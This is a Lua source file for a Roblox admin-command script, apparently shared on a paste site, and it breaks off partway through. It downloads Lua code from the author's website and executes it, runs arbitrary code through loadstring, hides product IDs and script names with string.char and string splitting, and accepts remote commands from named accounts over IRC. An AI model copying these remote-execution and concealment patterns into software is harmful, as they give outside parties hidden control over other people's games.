· 7 years ago · Nov 29, 2018, 01:30 AM
1--[[
2Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6
7
8TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4
9
10--->> DO NOT EDIT THESE SETTINGS <<---
11Well you can but it's a waste of your time. The settings are located in workspace
12in a folder called "MakerModelLua's Settings". You can also use this plugin:
13
14http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
15
16USE REMOTE ADMIN:
17http://www.classy-studios.com/Login/
18
19
20
21...also... this is open source! No stupid shady module scripts, which means it works in studio!
22
23]]
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
48
49
50local Settings = {
51 Ranks = {
52 ["Owner"] = {Ilikeeatpie};
53 ["Admin"] = {};
54 ["Member"] = {};
55 ["Banned"] = {};
56 ["Crashed"] = {};
57 ["Muted"] = {};
58 };
59
60 Prefix = ";";
61 Bet = " ";
62 MinimumAge = 0;
63 ServerLocked = false;
64 ColorScheme = "White";
65 TransparencyScheme = 50;
66 Fun = true;
67 EnableAdminMenu = true;
68 EnableTaskBar = true;
69 FreeAdmin = false;
70 Font = "Arial";
71
72 DisableAbuse = false;
73 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
74 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
75
76 LinkedAccount = "";
77 DataKey = "";
78
79 ExecuteNotificationSound = 0; --177578949
80 EnableSounds = true;
81
82 VIPMemberID = 0;
83 VIPAdminID = 0;
84
85 GroupID = 0;
86 GroupBanRank = 0;
87 GroupMemberRank = 0;
88 GroupAdminRank = 0;
89 GroupOwnerRank = 0;
90 GroupRankBan = 0;
91 BannedGroupIDs = {};
92
93 IRCServer = "";
94 IRCChannel = "";
95 IRCCommandExecuters = {};
96
97 TrelloToken = ""
98}
99
100local Colors = {
101 ["WHITE"] = Color3.new(1,1,1);
102 ["BLACK"] = Color3.new(0,0,0);
103 ["GRAY"] = Color3.new(0.5,0.5,0.5);
104 ["RED"] = Color3.new(1,0,0);
105 ["GREEN"] = Color3.new(0,1,0);
106 ["BLUE"] = Color3.new(0,0,1);
107 ["YELLOW"] = Color3.new(1,1,0);
108 ["PINK"] = Color3.new(1,0,1);
109 ["MAGENTA"] = Color3.new(1,0,1);
110 ["CYAN"] = BrickColor.new("Cyan").Color;
111 ["TEAL"] = BrickColor.new("Teal").Color;
112 ["BROWN"] = Color3.new(0.55,0.25,0.075);
113 ["PURPLE"] = Color3.new(0.5,0,0.5);
114 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
115}
116
117local Server = {
118 Workspace = game:GetService("Workspace");
119 Players = game:GetService("Players");
120 Lighting = game:GetService("Lighting");
121 MPS = game:GetService("MarketplaceService");
122 TS = game:GetService("TeleportService");
123 HS = game:GetService("HttpService");
124 RS = game:GetService("RunService");
125 PS = game:GetService("PointsService");
126 TestS = game:GetService("TestService");
127 IS = game:GetService("InsertService");
128 Teams = game:GetService("Teams");
129 Data = game:GetService("DataStoreService");
130 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
131 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
132 Storage = game:GetService("ServerStorage")
133}
134
135local Icons = {
136 ["Message"] = 7724351;
137 ["Error"] = 94011556;
138 ["Information"] = 144175130;
139 ["Check"] = 132769976;
140 ["Search"] = 61994930;
141 ["Time"] = 136391033;
142 ["Notice"] = 156507320;
143 ["Sound"] = 164682936;
144 ["Log"] = 70650545;
145 ["Question"] = 41363872;
146 ["Output"] = 11481605;
147 ["Admin"] = 302470270;
148 ["Lock"] = 11341626;
149 ["Settings"] = 131064748;
150 ["Map"] = 257119661;
151 ["Plugin"] = 257097414;
152}
153
154local IRC = {
155 Codes = {
156 ["001"] = "RPL_WELCOME",
157 ["002"] = "RPL_YOURHOST",
158 ["003"] = "RPL_CREATED",
159 ["004"] = "RPL_MYINFO",
160 ["005"] = "RPL_ISUPPORT",
161 ["250"] = "RPL_STATSCONN",
162 ["251"] = "RPL_LUSERCLIENT",
163 ["252"] = "RPL_LUSEROP",
164 ["254"] = "RPL_LUSERCHANNELS",
165 ["255"] = "RPL_LUSERME",
166 ["265"] = "RPL_LOCALUSERS",
167 ["266"] = "RPL_GLOBALUSERS",
168 ["352"] = "RPL_WHOREPLY",
169 ["371"] = "RPL_INFO",
170 ["372"] = "RPL_MOTD",
171 ["374"] = "RPL_ENDINFO",
172 ["375"] = "RPL_MOTDSTART",
173 ["376"] = "RPL_ENDOFMOTD",
174 ["422"] = "ERR_NOMOTD",
175 },
176 Ignore = {
177 ["004"] = true,
178 ["005"] = true,
179 };
180 Users = {};
181 Logs = {};
182 Chats = {};
183 Forms = {};
184 MessageAdded = Instance.new("BindableEvent");
185
186 Servers = {
187 ["esper.net"] = {
188 BaseUrl = "http://webchat.esper.net/";
189 DynamicUrl = "";
190 };
191 ["quakenet.org"] = {
192 BaseUrl = "http://webchat.quakenet.org/";
193 DynamicUrl = "dynamic/leibniz",
194 };
195 ["swiftirc.net"] = {
196 BaseUrl = "http://qwebirc.swiftirc.net/";
197 DynamicUrl = "",
198 };
199 };
200 NickName = "rbxMMLV3_"..math.random(1,100000);
201
202 SessionCounter = 0;
203 Connected = false;
204 Stop = false;
205 SessionID = "";
206}
207
208local RankHUD = {
209 ["Muted"] = 202180094;
210 ["Non-Admin"] = 202180121;
211 ["Member"] = 202180052;
212 ["Admin"] = 202180015;
213 ["Owner"] = 202179988;
214}
215
216local TextConverter = {
217 LetterSounds = {
218 ["a"] = {223757826, nil}; -- 203343899
219 ["b"] = {223533700, 0.2}; -- 203344029
220 ["c"] = {223533711, nil}; -- 203343994
221 ["d"] = {223757910, nil}; -- 203398237
222 ["e"] = {223758026, nil}; -- 203398295
223 ["f"] = {223777655, nil}; -- 203398347
224 ["g"] = {223777738, nil}; -- 203398372
225 ["h"] = {223777757, nil}; -- 203398397
226 ["i"] = {223777807, nil}; -- 203398422
227 ["j"] = {223782888, nil}; -- 203398450
228 ["k"] = {223533711, nil}; -- 203343994
229 ["l"] = {223782961, 0.4}; -- 203398541
230 ["m"] = {223782992, nil}; -- 203398578
231 ["n"] = {223783063, nil}; -- 203398599
232 ["o"] = {223783184, nil}; -- 203398611
233 ["p"] = {223783235, nil}; -- 203398727
234 ["q"] = {223783260, nil}; -- 203398755
235 ["r"] = {223783305, 0.2}; -- 203398792
236 ["s"] = {223783377, nil}; -- 203398806
237 ["t"] = {223783446, nil}; -- 203398850
238 ["u"] = {223783512, nil}; -- 203398872
239 ["v"] = {223783654, nil}; -- 203398965
240 ["w"] = {223783697, nil}; -- 203398984
241 ["x"] = {223783796, nil}; -- 203399008
242 ["y"] = {223783853, nil}; -- 203399043
243 ["z"] = {223783893, nil}; -- 203399096
244
245 ["ch"] = {223784367, 0.3}; -- 203592149
246 ["th"] = {223788235, 0.3}; -- 203399215
247 ["sh"] = {223784505, 0.2}; -- 203399566
248 ["wh"] = {223784555, 0.3}; -- 203622828
249 ["oo"] = {223784456, 0.3}; -- 203399743
250 ["ing"] = {223784393, 0.3}; -- 203402836
251 };
252
253 LongVowels = {
254 ["a"] = {223533687, nil}; -- 203343932
255 ["e"] = {223777620, nil}; -- 203398314
256 ["i"] = {223777855, nil}; -- 203398440
257 ["o"] = {223783212, nil}; -- 203398619
258 ["u"] = {223783572, nil}; -- 203398897
259 };
260
261 Pronounce = {
262 ["0"] = "zero";
263 ["1"] = "wun";
264 ["2"] = "too";
265 ["3"] = "three";
266 ["4"] = "four";
267 ["5"] = "five";
268 ["6"] = "six";
269 ["7"] = "seven";
270 ["8"] = "eyt";
271 ["9"] = "nine";
272 ["one"] = "wun";
273 ["two"] = "too";
274 ["eight"] = "eyt";
275 ["eigh"] = "ey";
276 ["gh"] = "h";
277 ["kn"] = "n";
278 ["come"] = "cu".."m";
279 ["bye"] = "bi";
280 ["#"] = "hashtag";
281 ["@"] = "at";
282 ["&"] = "and";
283 ["*"] = "astrict";
284 ["mn"] = "m";
285 ["kn"] = "n";
286 ["ies"] = "ees";
287 };
288
289 NonEnglishRules = {
290 ["to"] = "too";
291 ["you"] = "yoo";
292 ["we"] = "wee";
293 ["are"] = "erh";
294 ["your"] = "yoor";
295 ["you're"] = "yoor";
296 ["youre"] = "yoor";
297 ["pizza"] = "peetzoh";
298 ["ok"] = "okay";
299 ["have"] = "hav";
300 ["my"] = "mi";
301 ["me"] = "mee";
302 ["u"] = "yoo";
303 ["r"] = "erh";
304 ["move"] = "moov";
305 ["dove"] = "duv";
306 ["debris"] = "debree";
307 ["do"] = "doo";
308 }
309}
310
311local HTMLDecode = {
312 ["35"] = "#";
313 ["36"] = "$";
314 ["37"] = "%%";
315 ["38"] = "*";
316 ["39"] = "'";
317 ["58"] = ":";
318 ["59"] = ";";
319 ["60"] = "<";
320 ["62"] = ">";
321}
322
323
324local Packages = {
325 [27112438] = {27112025,27112039,27112052,27112056,27112068};
326 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
327 [77518833] = {77518564,77518616,77518654,77518696,77518737};
328 [32336368] = {32336059,32336117,32336182,32336243,32336306};
329 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
330 [54116460] = {54116290,54116338,54116373,54116394,54116432};
331 [39977366] = {39976703,39976829,39976927,39977192,39977295};
332 [32357766] = {32357663,32357631,32357619,32357584,32357558};
333 [27123973] = {27121265,27121306,27121353,27121393,27121432};
334 [55717536] = {55717271,55717330,55717388,55717434,55717491};
335 [28279963] = {28279160,28279217,28279859,28279894,28279938};
336 [27403592] = {27402580,27402546,27402641,27402714,27402742};
337 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
338 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
339 [48474394] = {48474356,48474294};
340 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
341 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
342 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
343 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
344 [33378577] = {33378366,33378438,33378484,33378522,33378540};
345 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
346 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
347 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
348 [41851073] = {41850825,41850868,41850915,41851009,41850959}
349}
350
351local CharacterCache = {
352 {"MakerModelLua", 38837082};
353 {"LuaModelMaker", 20920633};
354 {"builderman", 156};
355 {"Shedletsky", 261};
356 {"Telamon", 13645};
357 {"ROBLOX", 1};
358}
359
360local FaceCovert = {
361 Left = "xpos";
362 Right = "xneg";
363 Front = "zpos";
364 Back = "zneg";
365 Top = "ypos";
366 Bottom = "yneg";
367}
368
369local Meshes = {
370 ["crown"] = {1, 1078075};
371 ["king"] = {1, 11419761};
372 ["teapot"] = {0.03, 1029523};
373 ["apple"] = {2.5, 16190555};
374 ["potato"] = {1, 25268275};
375 ["panda"] = {0.5, 20709221};
376 ["dominus"] = {0.5, 21057410};
377 ["fedora"] = {0.75, 13640868};
378 ["noob"] = {1, 20929341};
379 ["knife"] = {0.3, 121944778};
380 ["book"] = {0.3, 1136139};
381}
382
383local NotifySounds = {
384 ["Hover"] = 223134269;
385 ["Select"] = 292141227;
386}
387
388local Trello = {
389 AdminBoardID = "577ea1b21cb7975666524f26";
390 MainBoard = {};
391 RequiredLists = {};
392 RankChecklistCache = {};
393 ToggleChecklist = nil;
394 CommandID = nil;
395 LastCommandDT = 0;
396 RemoteAdminChecklist = "57dec94aa19913c3edbbf7a3";
397 RemoteDataCard = "dLtMo1en"
398}
399
400-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
401-- Why else would I NOT have put it in a module?!?!?
402
403local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
404
405local SoundList,GlobalSoundList = {},{}
406local ScriptCache,MarketCache,PackageCache = {},{},Packages
407local TempChatLogs = {}
408local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), Server.Storage}
409local NoSpeak = false
410
411local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
412local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
413
414local ChatLogs,CommandLogs = {},{}
415local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
416local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
417local Dispose,Jails,PermCommandBars = {},{},{}
418local Waypoints = {["Center"] = Vector3.new(0,0,0)}
419local Objects = {}
420local Sound = nil
421local ModLighting = false
422local DataReady = true
423local RemoteAbuseGear = {}
424
425local GameOwner = "[ Client ]"
426local PlaceName = "Unknown"
427local PlaceInfo = {}
428local IsStudio = false
429local IsSB = false
430local Date = nil
431local Fonts = {}
432local PendingRequests = {}
433local F3X = script:FindFirstChild("F3X Tools")
434local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
435local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
436local KeyBinds = {}
437local Crowns = {}
438local LastKeys = {}
439local Cars = {}
440local StringReplacements = {}
441
442local CrownStorage = script:FindFirstChild("CrownStorage")
443if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
444
445-- import old settings just in case --
446local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
447if OldSettings then
448 OldSettings = require(OldSettings)
449
450 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
451 Settings[ValName] = OldSettings[ValName]
452 end
453 Settings.GroupBanRank = OldSettings.RankBan
454 Settings.Fun = OldSettings.FUN
455end
456
457if F3X then
458 F3X = F3X:Clone()
459 F3X.Handle.Anchored = false
460 script:FindFirstChild("F3X Tools"):Destroy()
461end
462
463wait(0.1)
464
465local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
466-- tries to defualt to server storage, just in case an exploiter makes their own settings.
467
468if SettingsValues then
469 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
470 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
471 for _,Value in pairs(SettingsValues:GetChildren()) do
472 if Settings[Value.Name] then
473 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
474 for _,NewValue in pairs(Value:GetChildren()) do
475 if ypcall(function() return NewValue.Value end) then
476 if Settings[Value.Name][NewValue.Name] then
477 local Val = NewValue.Value
478 if type(Settings[Value.Name][NewValue.Name]) == "table" then
479 Val = {}
480 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
481 table.insert(Val, Word)
482 end
483 end
484 Settings[Value.Name][NewValue.Name] = Val
485 end
486 end
487 end
488 elseif ypcall(function() return Value.Value end) then
489 if Settings[Value.Name] then
490 local Val = Value.Value
491 if type(Settings[Value.Name]) == "table" then
492 Val = {}
493 for Word in string.gmatch(Value.Value, "%w+") do
494 table.insert(Val, Word)
495 end
496 end
497 Settings[Value.Name] = Val
498 end
499 end
500 end
501 end
502 end
503end
504
505
506if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
507 Settings.LinkedAccount = ""
508elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
509 Settings.LinkedAccount = "Admin"
510end
511
512local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
513local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
514
515wait(1)
516
517local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
518
519if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
520
521if not IsStudio then
522 Server.NS = game:GetService("NetworkServer")
523 script.Name = "Maker".."Mo".."delLua's Admin"
524end
525
526if game.PlaceId > 0 then
527 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
528 PlaceName = PlaceInfo.Name
529end
530
531if string.byte(string.sub(PlaceName,1,1)) == 226 then
532 PlaceName = string.sub(PlaceName,4,#PlaceName)
533end
534for i = 1,5 do
535 if GameOwner == "[ Client ]" then
536 print("MML's Admin: Attempting to establish owner's name #"..i)
537 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
538 wait(1)
539 end
540end
541
542if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end
543
544if IsSB then
545 Settings.IRCServer = "swiftirc.net";
546 Settings.IRCChannel = "#PkamaraSB";
547 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
548 if Settings.TrelloToken == "" then
549 Settings.LinkedAccount = "ScriptBuilder"
550 end
551 if Settings.DataKey == "" then coroutine.wrap(function()
552 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
553 local Key = Server.Storage:FindFirstChild("MML DataKey")
554 print("Found key: "..Key.Value)
555 Settings.DataKey = Key.Value
556 Key:Destroy()
557 end)() end
558end
559local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
560table.insert(Settings.Ranks["Owner"], GameOwner)
561
562for _,Font in pairs(Enum.Font:GetEnumItems()) do
563 Fonts[Font.Name] = Font
564end
565
566local LogClient = script:FindFirstChild("AddClientInfo")
567if LogClient then LogClient:Destroy() end
568LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
569LogClient.OnServerInvoke = function(Player, Info)
570 if Info then
571 for Key,Data in pairs(Info) do
572 ClientInfo[Player.Name][Key] = Data
573 end
574 end
575end
576
577local function MakeFunction(Type, Name)
578 local Func = script:FindFirstChild(Name)
579 if Func then Func:Destroy() end
580 Func = Instance.new(Type, script) Func.Name = Name
581
582 getfenv()[Name] = Func
583 return Func
584end
585
586MakeFunction("BindableFunction", "ExecuteCommand")
587MakeFunction("RemoteFunction", "ExecuteCommandClient")
588MakeFunction("BindableFunction", "ExecuteCode")
589
590MakeFunction("RemoteFunction", "IsAdmin")
591MakeFunction("RemoteFunction", "AddExploit")
592MakeFunction("BindableFunction", "AddExploitServer")
593MakeFunction("RemoteFunction", "KickClient")
594MakeFunction("RemoteFunction", "ConvertTextToSound")
595
596MakeFunction("RemoteFunction", "KeyPressed")
597MakeFunction("RemoteFunction", "InputKey")
598
599MakeFunction("RemoteFunction", "RankPlayerLocal")
600MakeFunction("BindableFunction", "RankPlayerServer")
601
602--[[
603if NLS then
604 local Value = script:FindFirstChild("Override")
605 LogClient.Parent = game
606 if not Value then
607 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
608 local CloneScript = script:Clone()
609 CloneScript.Disabled = true
610 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
611 CloneScript.Disabled = false
612 CloneScript.Parent = nil
613
614 script:Destroy() script.Disabled = true
615 end
616end
617]]
618
619if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
620
621IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
622
623-- Core functions --
624
625function CORE:FixSettings()
626 if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end
627 CORE:ChangeBet(Settings.Bet)
628
629 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
630 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
631
632 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
633 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
634 Settings.TransparencyScheme = Settings.TransparencyScheme/100
635
636 if not Fonts[Settings.Font] then
637 Settings.Font = "Arial"
638 end
639end
640
641function CORE:NilPlayer(Player)
642 if Player == nil or type(Player) == "table" then return true else return false end
643end
644
645function CORE:ExecuteResource(ResourceName, Parent, Data)
646 local ReturnScript = nil
647 local Executed = true
648 if script:FindFirstChild("Resources") then
649 local RawResource = script.Resources:FindFirstChild(ResourceName)
650 if RawResource then
651 local Resource = RawResource:Clone()
652 Resource.Disabled = true
653 Resource.Parent = Parent
654 if Data then
655 for Key,Value in pairs(Data) do
656 if Resource[Key] then
657 Resource[Key].Value = Value
658 end
659 end
660 end
661 wait()
662 Resource.Disabled = false
663 ReturnScript = Resource
664 else
665 Executed = false
666 end
667 else
668 Executed = false
669 end
670 if Executed == false then
671 if not Data then Data = {} end
672 local Source = ScriptCache[ResourceName]
673
674 if not Source then
675 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
676 if Source then
677 ScriptCache[ResourceName] = Source
678 end
679 end
680
681 if Data and Source then
682 for Key,Value in pairs(Data) do
683 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
684 end
685 end
686
687 if NLS and Source then
688 ReturnScript = NLS(Source, Parent)
689 end
690 end
691 return ReturnScript
692end
693
694function CORE:CreateRemotePropertyReader(Obj, Override)
695 if Server.Workspace.FilteringEnabled == true or Override then
696 local Reader = Instance.new("RemoteFunction", Obj)
697 Reader.Name = "RemotePropertyReader"
698 CORE:ExecuteResource("RemotePropertyReader", Reader)
699 return Reader
700 else
701 return Obj
702 end
703end
704
705function CORE:ReadProperty(Reader, Player, Property)
706 if Reader:IsA("RemoteFunction") then
707 return Reader:InvokeClient(Player, Property)
708 else
709 return Reader[Property]
710 end
711end
712
713function CORE:WriteProperty(Reader, Player, Property, Value)
714 if Reader:IsA("RemoteFunction") then
715 return Reader:InvokeClient(Player, Property, Value)
716 else
717 return Reader[Property]
718 end
719end
720
721
722function CORE:CreateRemoteEvent(Obj, EventName)
723 local Event = Instance.new("RemoteEvent", Obj)
724 Event.Name = "RemoteEvent_"..EventName
725 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
726 return Event
727end
728
729function CORE:HandleEvent(Obj, EventName, Func, NewThread)
730 local function Handle()
731 if Server.Workspace.FilteringEnabled == true then
732 local Event = CORE:CreateRemoteEvent(Obj, EventName)
733 return Event.OnServerEvent:connect(function(Player, ...)
734 Func(...)
735 end)
736 else
737 return Obj[EventName]:connect(Func)
738 end
739 end
740 if NewThread then
741 Spawn(Handle)
742 else
743 Handle()
744 end
745end
746
747function CORE:HandleError(Error, Speaker)
748 local Return = ""
749 if not Error or Error == "" then
750 Return = "Unknown Error"
751 else
752 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
753 end
754 if Speaker then
755 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
756 end
757 return Return
758end
759
760local function ExecuteSafe(Source, Speaker) -- no CORE
761 local Script, Error = loadstring(Source)
762 if Error then
763 return false, CORE:HandleError(Error, Speaker)
764 else
765 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
766 getfenv(Script).Server, getfenv(Script).script = Server,script
767 if Speaker then
768 getfenv(Script).print = function(...)
769 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
770 end
771 getfenv(Script).print_array = function(List)
772 if type(List) == "table" then
773 GUI:ListGui(Speaker, "Listed Table", List, "Output")
774 end
775 end
776 end
777
778 local Suc, Error = ypcall(coroutine.wrap(Script))
779
780 if not Suc then
781 Error = CORE:HandleError(Error, Speaker)
782 end
783
784 return Suc,Error
785 end
786end
787
788function CORE:GetTime(Regular, FullDate)
789 if Regular == nil then Regular = true end
790 local Meridiem = ""
791 if Regular == true then Meridiem = " AM" end
792 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
793 local Hour = math.floor(SecondsOfToday / (60*60))
794 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
795 local Second = math.floor(math.fmod(SecondsOfToday, 60))
796 if Hour > 12 and Regular == true then
797 Hour = Hour - 12
798 Meridiem = " PM"
799 end
800 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
801 if #Hour <= 1 then Hour = "0"..Hour end
802 if #Minute <= 1 then Minute = "0"..Minute end
803 if #Second <= 1 then Second = "0"..Second end
804 local Return = Hour..":"..Minute..":"..Second..Meridiem
805 if FullDate == true and Date then Return = Date.." "..Return end
806 return Return
807end
808
809function CORE:RemoveAdmin(Speaker)
810 local Answer = true -- false
811 if not CORE:NilPlayer(Speaker) then
812 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
813 end
814 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
815 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
816 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
817 for _,Item in pairs(Player:GetChildren()) do
818 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
819 Item:Destroy()
820 end
821 end
822 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
823 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
824 GUI:Destroy()
825 end
826 end
827 end end
828 for _,Car in pairs(Cars) do
829 Car:Destroy()
830 end
831 CORE:FixLighting()
832 while wait() do
833 if script:FindFirstChild("Override") then script.Override.Value = true end
834 Settings,CORE,IRC = nil,{},{}
835 if Sound then Sound:Stop() end
836 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
837 script:ClearAllChildren() script:Destroy() script.Disabled = true
838 end
839 end
840end
841
842function CORE:MakeBase()
843 for _,Get in pairs(Workspace:GetChildren()) do
844 if Get.Name == "Base" or Get.Name == "BasePlate" then
845 Get:Destroy()
846 end
847 end
848 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
849end
850
851function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
852 if IsAbusive == nil then IsAbusive = false end
853 if Commands[CommandName] then table.remove(Commands[CommandName]) end
854 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
855end
856
857function CORE:FixLighting() coroutine.wrap(function()
858 ModLighting = false
859 wait(0.2)
860 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
861 Server.Lighting.FogColor = Color3.new(0,0,0)
862 Server.Lighting.Brightness = 1
863 Server.Lighting.TimeOfDay = 14
864 Server.Lighting.FogEnd = 100000
865end)() end
866
867function CORE:Round(Number)
868 if Number >= 0.5 then
869 return math.ceil(Number)
870 elseif Number < 0.5 then
871 return math.floor(Number)
872 end
873end
874
875local AdminID,Got = nil,false
876repeat wait()
877 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
878until Got == true
879
880function CORE:GetTable(ID)
881 local Thing = nil
882 repeat wait()
883 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
884 until Thing
885 return Thing
886end
887
888function CORE:InAdminGroup(Speaker)
889 local IsIn = false
890 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
891 if Speaker:IsInGroup(Get) then
892 IsIn = true
893 end
894 end
895 if IsIn == true then
896 return true
897 else
898 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
899 return false
900 end
901end
902
903function CORE:ReverseTable(Table)
904 if type(Table) ~= "table" then return Table end
905 local NewTable = {}
906 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
